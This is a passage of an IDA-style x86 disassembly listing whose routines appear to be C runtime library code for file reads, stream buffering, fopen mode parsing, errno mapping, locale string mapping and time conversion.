mov esi, [esp+4+arg_0]
test esi, esi
jnz short loc_411674
push esi
call sub_411702
pop ecx
pop esi
retn
; ---------------------------------------------------------------------------
loc_411674: ; CODE XREF: sub_411662+7j
push esi
call sub_41169D
test eax, eax
pop ecx
jz short loc_411684
or eax, 0FFFFFFFFh
pop esi
retn
; ---------------------------------------------------------------------------
loc_411684: ; CODE XREF: sub_411662+1Bj
test byte ptr [esi+0Dh], 40h
jz short loc_411699
push dword ptr [esi+10h]
call sub_414113
neg eax
pop ecx
pop esi
sbb eax, eax
retn
; ---------------------------------------------------------------------------
loc_411699: ; CODE XREF: sub_411662+26j
xor eax, eax
pop esi
retn
sub_411662 endp
; =============== S U B R O U T I N E =======================================
sub_41169D proc near ; CODE XREF: sub_40C3BA+1Ap
; sub_40D488+37p ...
arg_0 = dword ptr 4
push ebx
push esi
mov esi, [esp+8+arg_0]
xor ebx, ebx
push edi
mov eax, [esi+0Ch]
mov ecx, eax
and ecx, 3
cmp cl, 2
jnz short loc_4116EA
test ax, 108h
jz short loc_4116EA
mov eax, [esi+8]
mov edi, [esi]
sub edi, eax
test edi, edi
jle short loc_4116EA
push edi
push eax
push dword ptr [esi+10h]
call sub_413190
add esp, 0Ch
cmp eax, edi
jnz short loc_4116E3
mov eax, [esi+0Ch]
test al, 80h
jz short loc_4116EA
and al, 0FDh
mov [esi+0Ch], eax
jmp short loc_4116EA
; ---------------------------------------------------------------------------
loc_4116E3: ; CODE XREF: sub_41169D+36j
or dword ptr [esi+0Ch], 20h
or ebx, 0FFFFFFFFh
loc_4116EA: ; CODE XREF: sub_41169D+14j
; sub_41169D+1Aj ...
mov eax, [esi+8]
and dword ptr [esi+4], 0
mov [esi], eax
pop edi
mov eax, ebx
pop esi
pop ebx
retn
sub_41169D endp
; =============== S U B R O U T I N E =======================================
sub_4116F9 proc near ; CODE XREF: sub_41344Cp
push 1
call sub_411702
pop ecx
retn
sub_4116F9 endp
; =============== S U B R O U T I N E =======================================
sub_411702 proc near ; CODE XREF: sub_411662+Ap
; sub_4116F9+2p
arg_0 = dword ptr 4
push ebx
push esi
push edi
xor esi, esi
xor ebx, ebx
xor edi, edi
cmp dword_480C20, esi
jle short loc_411760
loc_411713: ; CODE XREF: sub_411702+5Cj
mov eax, dword_47FC08
mov eax, [eax+esi*4]
test eax, eax
jz short loc_411757
mov ecx, [eax+0Ch]
test cl, 83h
jz short loc_411757
cmp [esp+0Ch+arg_0], 1
jnz short loc_41173D
push eax
call sub_411662
cmp eax, 0FFFFFFFFh
pop ecx
jz short loc_411757
inc ebx
jmp short loc_411757
; ---------------------------------------------------------------------------
loc_41173D: ; CODE XREF: sub_411702+2Aj
cmp [esp+0Ch+arg_0], 0
jnz short loc_411757
test cl, 2
jz short loc_411757
push eax
call sub_411662
cmp eax, 0FFFFFFFFh
pop ecx
jnz short loc_411757
or edi, eax
loc_411757: ; CODE XREF: sub_411702+1Bj
; sub_411702+23j ...
inc esi
cmp esi, dword_480C20
jl short loc_411713
loc_411760: ; CODE XREF: sub_411702+Fj
cmp [esp+0Ch+arg_0], 1
mov eax, ebx
jz short loc_41176B
mov eax, edi
loc_41176B: ; CODE XREF: sub_411702+65j
pop edi
pop esi
pop ebx
retn
sub_411702 endp
; =============== S U B R O U T I N E =======================================
sub_41176F proc near ; CODE XREF: sub_40C410+A9p
; sub_40D361+2Dp ...
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
mov eax, [esi+0Ch]
test al, 83h
jz loc_411843
test al, 40h
jnz loc_411843
test al, 2
jz short loc_411795
or al, 20h
mov [esi+0Ch], eax
jmp loc_411843
; ---------------------------------------------------------------------------
loc_411795: ; CODE XREF: sub_41176F+1Aj
or al, 1
test ax, 10Ch
mov [esi+0Ch], eax
jnz short loc_4117A9
push esi
call sub_41333D
pop ecx
jmp short loc_4117AE
; ---------------------------------------------------------------------------
loc_4117A9: ; CODE XREF: sub_41176F+2Fj
mov eax, [esi+8]
mov [esi], eax
loc_4117AE: ; CODE XREF: sub_41176F+38j
push dword ptr [esi+18h]
push dword ptr [esi+8]
push dword ptr [esi+10h]
call sub_411848
add esp, 0Ch
mov [esi+4], eax
test eax, eax
jz short loc_411832
cmp eax, 0FFFFFFFFh
jz short loc_411832
mov edx, [esi+0Ch]
test dl, 82h
jnz short loc_411807
mov ecx, [esi+10h]
push edi
cmp ecx, 0FFFFFFFFh
jz short loc_4117F0
mov edi, ecx
sar edi, 5
and ecx, 1Fh
mov edi, dword_480C40[edi*4]
lea edi, [edi+ecx*8]
jmp short loc_4117F5
; ---------------------------------------------------------------------------
loc_4117F0: ; CODE XREF: sub_41176F+6Bj
mov edi, offset dword_420278
loc_4117F5: ; CODE XREF: sub_41176F+7Fj
mov cl, [edi+4]
pop edi
and cl, 82h
cmp cl, 82h
jnz short loc_411807
or dh, 20h
mov [esi+0Ch], edx
loc_411807: ; CODE XREF: sub_41176F+62j
; sub_41176F+90j
cmp dword ptr [esi+18h], 200h
jnz short loc_411824
mov ecx, [esi+0Ch]
test cl, 8
jz short loc_411824
test ch, 4
jnz short loc_411824
mov dword ptr [esi+18h], 1000h
loc_411824: ; CODE XREF: sub_41176F+9Fj
; sub_41176F+A7j ...
mov ecx, [esi]
dec eax
mov [esi+4], eax
movzx eax, byte ptr [ecx]
inc ecx
mov [esi], ecx
pop esi
retn
; ---------------------------------------------------------------------------
loc_411832: ; CODE XREF: sub_41176F+55j
; sub_41176F+5Aj
neg eax
sbb eax, eax
and eax, 10h
add eax, 10h
or [esi+0Ch], eax
and dword ptr [esi+4], 0
loc_411843: ; CODE XREF: sub_41176F+Aj
; sub_41176F+12j ...
or eax, 0FFFFFFFFh
pop esi
retn
sub_41176F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_411848 proc near ; CODE XREF: sub_40C410+90p
; sub_41176F+48p ...
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_1 = byte ptr -1
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
mov esi, [ebp+arg_0]
push edi
cmp esi, dword_480D40
jnb loc_411A25
mov eax, esi
and esi, 1Fh
sar eax, 5
shl esi, 3
lea ebx, ds:480C40h[eax*4]
mov eax, dword_480C40[eax*4]
add eax, esi
mov dl, [eax+4]
test dl, 1
jz loc_411A25
and [ebp+var_8], 0
mov edi, [ebp+arg_4]
cmp [ebp+arg_8], 0
mov ecx, edi
jz short loc_4118FD
test dl, 2
jnz short loc_4118FD
test dl, 48h
jz short loc_4118BD
mov al, [eax+5]
cmp al, 0Ah
jz short loc_4118BD
dec [ebp+arg_8]
mov [edi], al
mov eax, [ebx]
lea ecx, [edi+1]
mov [ebp+var_8], 1
mov byte ptr [eax+esi+5], 0Ah
loc_4118BD: ; CODE XREF: sub_411848+56j
; sub_411848+5Dj
lea eax, [ebp+var_C]
push 0
push eax
mov eax, [ebx]
push [ebp+arg_8]
push ecx
push dword ptr [eax+esi]
call dword_417148 ; ReadFile
test eax, eax
jnz short loc_411910
call dword_417044 ; RtlGetLastWin32Error
push 5
pop ecx
cmp eax, ecx
jnz short loc_4118F8
mov dword_47F914, 9
mov dword_47F918, ecx
jmp loc_411A36
; ---------------------------------------------------------------------------
loc_4118F8: ; CODE XREF: sub_411848+99j
cmp eax, 6Dh
jnz short loc_411904
loc_4118FD: ; CODE XREF: sub_411848+4Cj
; sub_411848+51j
xor eax, eax
jmp loc_411A39
; ---------------------------------------------------------------------------
loc_411904: ; CODE XREF: sub_411848+B3j
push eax
call sub_411C26
pop ecx
jmp loc_411A36
; ---------------------------------------------------------------------------
loc_411910: ; CODE XREF: sub_411848+8Cj
mov eax, [ebx]
mov edx, [ebp+var_C]
add [ebp+var_8], edx
lea ecx, [eax+esi+4]
mov al, [eax+esi+4]
test al, 80h
jz loc_411A20
test edx, edx
jz short loc_411935
cmp byte ptr [edi], 0Ah
jnz short loc_411935
or al, 4
jmp short loc_411937
; ---------------------------------------------------------------------------
loc_411935: ; CODE XREF: sub_411848+E2j
; sub_411848+E7j
and al, 0FBh
loc_411937: ; CODE XREF: sub_411848+EBj
mov [ecx], al
mov eax, [ebp+arg_4]
mov ecx, [ebp+var_8]
mov [ebp+arg_8], eax
add ecx, eax
cmp eax, ecx
mov [ebp+var_8], ecx
jnb loc_411A1A
loc_41194F: ; CODE XREF: sub_411848+1BAj
mov eax, [ebp+arg_8]
mov al, [eax]
cmp al, 1Ah
jz loc_411A0A
cmp al, 0Dh
jz short loc_41196B
mov [edi], al
inc edi
inc [ebp+arg_8]
jmp loc_4119FC
; ---------------------------------------------------------------------------
loc_41196B: ; CODE XREF: sub_411848+116j
dec ecx
cmp [ebp+arg_8], ecx
jnb short loc_411989
mov eax, [ebp+arg_8]
inc eax
cmp byte ptr [eax], 0Ah
jnz short loc_411980
add [ebp+arg_8], 2
jmp short loc_4119DE
; ---------------------------------------------------------------------------
loc_411980: ; CODE XREF: sub_411848+130j
mov byte ptr [edi], 0Dh
inc edi
mov [ebp+arg_8], eax
jmp short loc_4119FC
; ---------------------------------------------------------------------------
loc_411989: ; CODE XREF: sub_411848+127j
lea eax, [ebp+var_C]
push 0
push eax
inc [ebp+arg_8]
lea eax, [ebp+var_1]
push 1
push eax
mov eax, [ebx]
push dword ptr [eax+esi]
call dword_417148 ; ReadFile
test eax, eax
jnz short loc_4119B1
call dword_417044 ; RtlGetLastWin32Error
test eax, eax
jnz short loc_4119F8
loc_4119B1: ; CODE XREF: sub_411848+15Dj
cmp [ebp+var_C], 0
jz short loc_4119F8
mov eax, [ebx]
test byte ptr [eax+esi+4], 48h
jz short loc_4119D3
mov al, [ebp+var_1]
cmp al, 0Ah
jz short loc_4119DE
mov byte ptr [edi], 0Dh
mov ecx, [ebx]
inc edi
mov [ecx+esi+5], al
jmp short loc_4119FC
; ---------------------------------------------------------------------------
loc_4119D3: ; CODE XREF: sub_411848+176j
cmp edi, [ebp+arg_4]
jnz short loc_4119E3
cmp [ebp+var_1], 0Ah
jnz short loc_4119E3
loc_4119DE: ; CODE XREF: sub_411848+136j
; sub_411848+17Dj
mov byte ptr [edi], 0Ah
jmp short loc_4119FB
; ---------------------------------------------------------------------------
loc_4119E3: ; CODE XREF: sub_411848+18Ej
; sub_411848+194j
push 1
push 0FFFFFFFFh
push [ebp+arg_0]
call sub_412573
add esp, 0Ch
cmp [ebp+var_1], 0Ah
jz short loc_4119FC
loc_4119F8: ; CODE XREF: sub_411848+167j
; sub_411848+16Dj
mov byte ptr [edi], 0Dh
loc_4119FB: ; CODE XREF: sub_411848+199j
inc edi
loc_4119FC: ; CODE XREF: sub_411848+11Ej
; sub_411848+13Fj ...
mov ecx, [ebp+var_8]
cmp [ebp+arg_8], ecx
jb loc_41194F
jmp short loc_411A1A
; ---------------------------------------------------------------------------
loc_411A0A: ; CODE XREF: sub_411848+10Ej
mov eax, [ebx]
lea esi, [eax+esi+4]
mov al, [esi]
test al, 40h
jnz short loc_411A1A
or al, 2
mov [esi], al
loc_411A1A: ; CODE XREF: sub_411848+101j
; sub_411848+1C0j ...
sub edi, [ebp+arg_4]
mov [ebp+var_8], edi
loc_411A20: ; CODE XREF: sub_411848+DAj
mov eax, [ebp+var_8]
jmp short loc_411A39
; ---------------------------------------------------------------------------
loc_411A25: ; CODE XREF: sub_411848+12j
; sub_411848+39j
and dword_47F918, 0
mov dword_47F914, 9
loc_411A36: ; CODE XREF: sub_411848+ABj
; sub_411848+C3j
or eax, 0FFFFFFFFh
loc_411A39: ; CODE XREF: sub_411848+B7j
; sub_411848+1DBj
pop edi
pop esi
pop ebx
leave
retn
sub_411848 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_411A3E proc near ; CODE XREF: sub_40C798+17p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
mov esi, dword_47FB18
push edi
mov edi, [ebp+arg_4]
xor ebx, ebx
mov [ebp+var_8], ebx
mov [ebp+var_4], ebx
mov al, [edi]
cmp al, 61h
jz short loc_411A77
cmp al, 72h
jz short loc_411A70
cmp al, 77h
jnz loc_411B8B
mov ecx, 301h
jmp short loc_411A7C
; ---------------------------------------------------------------------------
loc_411A70: ; CODE XREF: sub_411A3E+21j
xor ecx, ecx
or esi, 1
jmp short loc_411A7F
; ---------------------------------------------------------------------------
loc_411A77: ; CODE XREF: sub_411A3E+1Dj
mov ecx, 109h
loc_411A7C: ; CODE XREF: sub_411A3E+30j
or esi, 2
loc_411A7F: ; CODE XREF: sub_411A3E+37j
push 1
pop edx
loc_411A82: ; CODE XREF: sub_411A3E+8Bj
; sub_411A3E+A0j ...
mov al, [edi+1]
inc edi
cmp al, bl
jz loc_411B71
cmp edx, ebx
jz loc_411B71
movsx eax, al
cmp eax, 54h
jg short loc_411B10
jz short loc_411B00
sub eax, 2Bh
jz short loc_411AEA
sub eax, 19h
jz short loc_411AE0
sub eax, 0Eh
jz short loc_411ACB
dec eax
jnz loc_411B62
cmp [ebp+var_4], ebx
jnz loc_411B62
mov [ebp+var_4], 1
or ecx, 20h
jmp short loc_411A82
; ---------------------------------------------------------------------------
loc_411ACB: ; CODE XREF: sub_411A3E+6Fj
cmp [ebp+var_4], ebx
jnz loc_411B62
mov [ebp+var_4], 1
or ecx, 10h
jmp short loc_411A82
; ---------------------------------------------------------------------------
loc_411AE0: ; CODE XREF: sub_411A3E+6Aj
test cl, 40h
jnz short loc_411B62
or ecx, 40h
jmp short loc_411A82
; ---------------------------------------------------------------------------
loc_411AEA: ; CODE XREF: sub_411A3E+65j
test cl, 2
jnz short loc_411B62
and ecx, 0FFFFFFFEh
and esi, 0FFFFFFFCh
or ecx, 2
or esi, 80h
jmp short loc_411A82
; ---------------------------------------------------------------------------
loc_411B00: ; CODE XREF: sub_411A3E+60j
mov eax, 1000h
test ecx, eax
jnz short loc_411B62
or ecx, eax
jmp loc_411A82
; ---------------------------------------------------------------------------
loc_411B10: ; CODE XREF: sub_411A3E+5Ej
sub eax, 62h
jz short loc_411B5D
dec eax
jz short loc_411B46
sub eax, 0Bh
jz short loc_411B2F
sub eax, 6
jnz short loc_411B62
test ch, 0C0h
jnz short loc_411B62
or ch, 40h
jmp loc_411A82
; ---------------------------------------------------------------------------
loc_411B2F: ; CODE XREF: sub_411A3E+DDj
cmp [ebp+var_8], ebx
jnz short loc_411B62
mov [ebp+var_8], 1
and esi, 0FFFFBFFFh
jmp loc_411A82
; ---------------------------------------------------------------------------
loc_411B46: ; CODE XREF: sub_411A3E+D8j
cmp [ebp+var_8], ebx
jnz short loc_411B62
mov [ebp+var_8], 1
or esi, 4000h
jmp loc_411A82
; ---------------------------------------------------------------------------
loc_411B5D: ; CODE XREF: sub_411A3E+D5j
test ch, 0C0h
jz short loc_411B69
loc_411B62: ; CODE XREF: sub_411A3E+72j
; sub_411A3E+7Bj ...
xor edx, edx
jmp loc_411A82
; ---------------------------------------------------------------------------
loc_411B69: ; CODE XREF: sub_411A3E+122j
or ch, 80h
jmp loc_411A82
; ---------------------------------------------------------------------------
loc_411B71: ; CODE XREF: sub_411A3E+4Aj
; sub_411A3E+52j
push 1A4h
push [ebp+arg_8]
push ecx
push [ebp+arg_0]
call sub_41416A
mov ecx, eax
add esp, 10h
cmp ecx, ebx
jge short loc_411B8F
loc_411B8B: ; CODE XREF: sub_411A3E+25j
xor eax, eax
jmp short loc_411BA9
; ---------------------------------------------------------------------------
loc_411B8F: ; CODE XREF: sub_411A3E+14Bj
mov eax, [ebp+arg_C]
inc dword_47FAD8
mov [eax+0Ch], esi
mov [eax+4], ebx
mov [eax], ebx
mov [eax+8], ebx
mov [eax+1Ch], ebx
mov [eax+10h], ecx
loc_411BA9: ; CODE XREF: sub_411A3E+14Fj
pop edi
pop esi
pop ebx
leave
retn
sub_411A3E endp
; =============== S U B R O U T I N E =======================================
sub_411BAE proc near ; CODE XREF: sub_40C798p
mov edx, dword_480C20
push ebx
push ebp
push esi
xor ebp, ebp
xor esi, esi
xor eax, eax
cmp edx, ebp
push edi
jle short loc_411C1F
mov ebx, dword_47FC08
mov edi, ebx
loc_411BCA: ; CODE XREF: sub_411BAE+2Ej
mov ecx, [edi]
cmp ecx, ebp
jz short loc_411BE5
test byte ptr [ecx+0Ch], 83h
jz short loc_411BE0
inc eax
add edi, 4
cmp eax, edx
jl short loc_411BCA
jmp short loc_411C1F
; ---------------------------------------------------------------------------
loc_411BE0: ; CODE XREF: sub_411BAE+26j
mov esi, [ebx+eax*4]
jmp short loc_411C09
; ---------------------------------------------------------------------------
loc_411BE5: ; CODE XREF: sub_411BAE+20j
mov edi, eax
push 20h
shl edi, 2
call sub_40B6BF
pop ecx
mov ecx, dword_47FC08
mov [edi+ecx], eax
mov eax, dword_47FC08
mov edi, [edi+eax]
cmp edi, ebp
jz short loc_411C1F
mov esi, edi
loc_411C09: ; CODE XREF: sub_411BAE+35j
cmp esi, ebp
jz short loc_411C1F
or dword ptr [esi+10h], 0FFFFFFFFh
mov [esi+4], ebp
mov [esi+0Ch], ebp
mov [esi+8], ebp
mov [esi], ebp
mov [esi+1Ch], ebp
loc_411C1F: ; CODE XREF: sub_411BAE+12j
; sub_411BAE+30j ...
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
retn
sub_411BAE endp
; =============== S U B R O U T I N E =======================================
sub_411C26 proc near ; CODE XREF: sub_40C7CB+16p
; sub_40D3E7+1Dp ...
arg_0 = dword ptr 4
mov ecx, [esp+arg_0]
xor edx, edx
mov dword_47F918, ecx
mov eax, offset dword_41FF90
loc_411C37: ; CODE XREF: sub_411C26+1Ej
cmp ecx, [eax]
jz short loc_411C5B
add eax, 8
inc edx
cmp eax, offset byte_4200F8
jl short loc_411C37
cmp ecx, 13h
jb short loc_411C68
cmp ecx, 24h
ja short loc_411C68
mov dword_47F914, 0Dh
retn
; ---------------------------------------------------------------------------
loc_411C5B: ; CODE XREF: sub_411C26+13j
mov eax, dword_41FF94[edx*8]
mov dword_47F914, eax
retn
; ---------------------------------------------------------------------------
loc_411C68: ; CODE XREF: sub_411C26+23j
; sub_411C26+28j
cmp ecx, 0BCh
jb short loc_411C82
cmp ecx, 0CAh
mov dword_47F914, 8
jbe short locret_411C8C
loc_411C82: ; CODE XREF: sub_411C26+48j
mov dword_47F914, 16h
locret_411C8C: ; CODE XREF: sub_411C26+5Aj
retn
sub_411C26 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_411C8D proc near ; CODE XREF: sub_40CA73+12Bp
var_4 = byte ptr -4
var_3 = byte ptr -3
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
cmp dword_47F9A4, 0
push ebx
jnz short loc_411CB8
mov eax, [ebp+arg_0]
cmp eax, 61h
jl loc_411D56
cmp eax, 7Ah
jg loc_411D56
sub eax, 20h
jmp loc_411D56
; ---------------------------------------------------------------------------
loc_411CB8: ; CODE XREF: sub_411C8D+Cj
mov ebx, [ebp+arg_0]
cmp ebx, 100h
jge short loc_411CEB
cmp dword_41FF84, 1
jle short loc_411CD8
push 2
push ebx
call sub_4114D9
pop ecx
pop ecx
jmp short loc_411CE3
; ---------------------------------------------------------------------------
loc_411CD8: ; CODE XREF: sub_411C8D+3Dj
mov eax, off_41FD78
mov al, [eax+ebx*2]
and eax, 2
loc_411CE3: ; CODE XREF: sub_411C8D+49j
test eax, eax
jnz short loc_411CEB
loc_411CE7: ; CODE XREF: sub_411C8D+AFj
mov eax, ebx
jmp short loc_411D56
; ---------------------------------------------------------------------------
loc_411CEB: ; CODE XREF: sub_411C8D+34j
; sub_411C8D+58j
mov edx, off_41FD78
mov eax, ebx
sar eax, 8
movzx ecx, al
test byte ptr [edx+ecx*2+1], 80h
jz short loc_411D0E
and byte ptr [ebp+arg_0+2], 0
mov byte ptr [ebp+arg_0], al
mov byte ptr [ebp+arg_0+1], bl
push 2
jmp short loc_411D17
; ---------------------------------------------------------------------------
loc_411D0E: ; CODE XREF: sub_411C8D+71j
and byte ptr [ebp+arg_0+1], 0
mov byte ptr [ebp+arg_0], bl
push 1
loc_411D17: ; CODE XREF: sub_411C8D+7Fj
pop eax
lea ecx, [ebp+var_4]
push 1
push 0
push 3
push ecx
push eax
lea eax, [ebp+arg_0]
push eax
push 200h
push dword_47F9A4
call sub_411E1B
add esp, 20h
test eax, eax
jz short loc_411CE7
cmp eax, 1
jnz short loc_411D49
movzx eax, [ebp+var_4]
jmp short loc_411D56
; ---------------------------------------------------------------------------
loc_411D49: ; CODE XREF: sub_411C8D+B4j
movzx eax, [ebp+var_3]
movzx ecx, [ebp+var_4]
shl eax, 8
or eax, ecx
loc_411D56: ; CODE XREF: sub_411C8D+14j
; sub_411C8D+1Dj ...
pop ebx
leave
retn
sub_411C8D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_411D59 proc near ; CODE XREF: sub_40CC92+C9p
var_24 = byte ptr -24h
var_1C = dword ptr -1Ch
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_8 = dword ptr -8
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
sub esp, 24h
push ebx
mov ebx, [ebp+arg_0]
sub ebx, 76Ch
cmp ebx, 46h
jl loc_411E15
cmp ebx, 8Ah
jg loc_411E15
push esi
push edi
mov edi, [ebp+arg_4]
mov esi, dword_4206AC[edi*4]
add esi, [ebp+arg_8]
test bl, 3
jnz short loc_411D98
cmp edi, 2
jle short loc_411D98
inc esi
loc_411D98: ; CODE XREF: sub_411D59+37j
; sub_411D59+3Cj
call sub_414423
mov eax, ebx
lea ecx, [ebx-1]
imul eax, 16Dh
sar ecx, 2
mov edx, esi
mov [ebp+var_8], esi
add edx, ecx
mov [ebp+var_10], ebx
add eax, edx
mov edx, [ebp+arg_14]
lea ecx, [eax+eax*2]
mov eax, [ebp+arg_C]
mov [ebp+var_1C], eax
lea ecx, [eax+ecx*8]
imul ecx, 3Ch
add ecx, [ebp+arg_10]
imul ecx, 3Ch
add ecx, dword_4205C8
dec edi
cmp [ebp+arg_18], 1
mov [ebp+var_14], edi
pop edi
pop esi
lea ecx, [ecx+edx+7C558180h]
mov [ebp+arg_0], ecx
jz short loc_411E0B
cmp [ebp+arg_18], 0FFFFFFFFh
jnz short loc_411E11
cmp dword_4205CC, 0
jz short loc_411E11
lea eax, [ebp+var_24]
push eax
call sub_414696
pop ecx
mov ecx, [ebp+arg_0]
test eax, eax
jz short loc_411E11
loc_411E0B: ; CODE XREF: sub_411D59+90j
add ecx, dword_4205D0
loc_411E11: ; CODE XREF: sub_411D59+96j
; sub_411D59+9Fj ...
mov eax, ecx
jmp short loc_411E18
; ---------------------------------------------------------------------------
loc_411E15: ; CODE XREF: sub_411D59+13j
; sub_411D59+1Fj
or eax, 0FFFFFFFFh
loc_411E18: ; CODE XREF: sub_411D59+BAj
pop ebx
leave
retn
sub_411D59 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_411E1B proc near ; CODE XREF: sub_40CEE0+A3p
; sub_411C8D+A5p ...
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_417868
push offset sub_412F2C
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 1Ch
push ebx
push esi
push edi
mov [ebp+var_18], esp
xor edi, edi
cmp dword_47F998, edi
jnz short loc_411E91
push edi
push edi
push 1
pop ebx
push ebx
push offset dword_417860
mov esi, 100h
push esi
push edi
call dword_417150 ; LCMapStringW
test eax, eax
jz short loc_411E6F
mov dword_47F998, ebx
jmp short loc_411E91
; ---------------------------------------------------------------------------
loc_411E6F: ; CODE XREF: sub_411E1B+4Aj
push edi
push edi
push ebx
push offset dword_42226C
push esi
push edi
call dword_41714C ; LCMapStringA
test eax, eax
jz loc_411FA9
mov dword_47F998, 2
loc_411E91: ; CODE XREF: sub_411E1B+2Ej
; sub_411E1B+52j
cmp [ebp+arg_C], edi
jle short loc_411EA6
push [ebp+arg_C]
push [ebp+arg_8]
call sub_415DCC
pop ecx
pop ecx
mov [ebp+arg_C], eax
loc_411EA6: ; CODE XREF: sub_411E1B+79j
mov eax, dword_47F998
cmp eax, 2
jnz short loc_411ECD
push [ebp+arg_14]
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call dword_41714C ; LCMapStringA
jmp loc_411FAB
; ---------------------------------------------------------------------------
loc_411ECD: ; CODE XREF: sub_411E1B+93j
cmp eax, 1
jnz loc_411FA9
cmp [ebp+arg_18], edi
jnz short loc_411EE3
mov eax, dword_47F9B4
mov [ebp+arg_18], eax
loc_411EE3: ; CODE XREF: sub_411E1B+BEj
push edi
push edi
push [ebp+arg_C]
push [ebp+arg_8]
mov eax, [ebp+arg_1C]
neg eax
sbb eax, eax
and eax, 8
inc eax
push eax
push [ebp+arg_18]
call dword_4170C4 ; MultiByteToWideChar
mov ebx, eax
mov [ebp+var_1C], ebx
cmp ebx, edi
jz loc_411FA9
mov [ebp+var_4], edi
lea eax, [ebx+ebx]
add eax, 3
and al, 0FCh
call sub_40B690
mov [ebp+var_18], esp
mov eax, esp
mov [ebp+var_24], eax
or [ebp+var_4], 0FFFFFFFFh
jmp short loc_411F3E
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
xor edi, edi
mov [ebp+var_24], edi
or [ebp+var_4], 0FFFFFFFFh
mov ebx, [ebp+var_1C]
loc_411F3E: ; CODE XREF: sub_411E1B+10Ej
cmp [ebp+var_24], edi
jz short loc_411FA9
push ebx
push [ebp+var_24]
push [ebp+arg_C]
push [ebp+arg_8]
push 1
push [ebp+arg_18]
call dword_4170C4 ; MultiByteToWideChar
test eax, eax
jz short loc_411FA9
push edi
push edi
push ebx
push [ebp+var_24]
push [ebp+arg_4]
push [ebp+arg_0]
call dword_417150 ; LCMapStringW
mov esi, eax
mov [ebp+var_28], esi
cmp esi, edi
jz short loc_411FA9
test byte ptr [ebp+arg_4+1], 4
jz short loc_411FBD
cmp [ebp+arg_14], edi
jz loc_412038
cmp esi, [ebp+arg_14]
jg short loc_411FA9
push [ebp+arg_14]
push [ebp+arg_10]
push ebx
push [ebp+var_24]
push [ebp+arg_4]
push [ebp+arg_0]
call dword_417150 ; LCMapStringW
test eax, eax
jnz loc_412038
loc_411FA9: ; CODE XREF: sub_411E1B+66j
; sub_411E1B+B5j ...
xor eax, eax
loc_411FAB: ; CODE XREF: sub_411E1B+ADj
; sub_411E1B+21Fj
lea esp, [ebp-38h]
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_411FBD: ; CODE XREF: sub_411E1B+160j
mov [ebp+var_4], 1
lea eax, [esi+esi]
add eax, 3
and al, 0FCh
call sub_40B690
mov [ebp+var_18], esp
mov ebx, esp
mov [ebp+var_20], ebx
or [ebp+var_4], 0FFFFFFFFh
jmp short loc_411FF1
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
xor edi, edi
xor ebx, ebx
or [ebp+var_4], 0FFFFFFFFh
mov esi, [ebp+var_28]
loc_411FF1: ; CODE XREF: sub_411E1B+1C2j
cmp ebx, edi
jz short loc_411FA9
push esi
push ebx
push [ebp+var_1C]
push [ebp+var_24]
push [ebp+arg_4]
push [ebp+arg_0]
call dword_417150 ; LCMapStringW
test eax, eax
jz short loc_411FA9
cmp [ebp+arg_14], edi
push edi
push edi
jnz short loc_412018
push edi
push edi
jmp short loc_41201E
; ---------------------------------------------------------------------------
loc_412018: ; CODE XREF: sub_411E1B+1F7j
push [ebp+arg_14]
push [ebp+arg_10]
loc_41201E: ; CODE XREF: sub_411E1B+1FBj
push esi
push ebx
push 220h
push [ebp+arg_18]
call dword_4170C0 ; WideCharToMultiByte
mov esi, eax
cmp esi, edi
jz loc_411FA9
loc_412038: ; CODE XREF: sub_411E1B+165j
; sub_411E1B+188j
mov eax, esi
jmp loc_411FAB
sub_411E1B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41203F proc near ; CODE XREF: sub_412403+Bp
var_18 = dword ptr -18h
var_12 = byte ptr -12h
var_11 = byte ptr -11h
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 18h
push ebx
push esi
push edi
push [ebp+arg_0]
call sub_4121D8 ; GetOEMCP
mov esi, eax
pop ecx
cmp esi, dword_480D44
mov [ebp+arg_0], esi
jz loc_4121CC
xor ebx, ebx
cmp esi, ebx
jz loc_4121C2
xor edx, edx
mov eax, offset dword_420100
loc_412073: ; CODE XREF: sub_41203F+41j
cmp [eax], esi
jz short loc_4120E9
add eax, 30h
inc edx
cmp eax, offset dword_4201F0
jl short loc_412073
lea eax, [ebp+var_18]
push eax
push esi
call dword_417154 ; GetCPInfo
cmp eax, 1
jnz loc_4121BA
push 40h
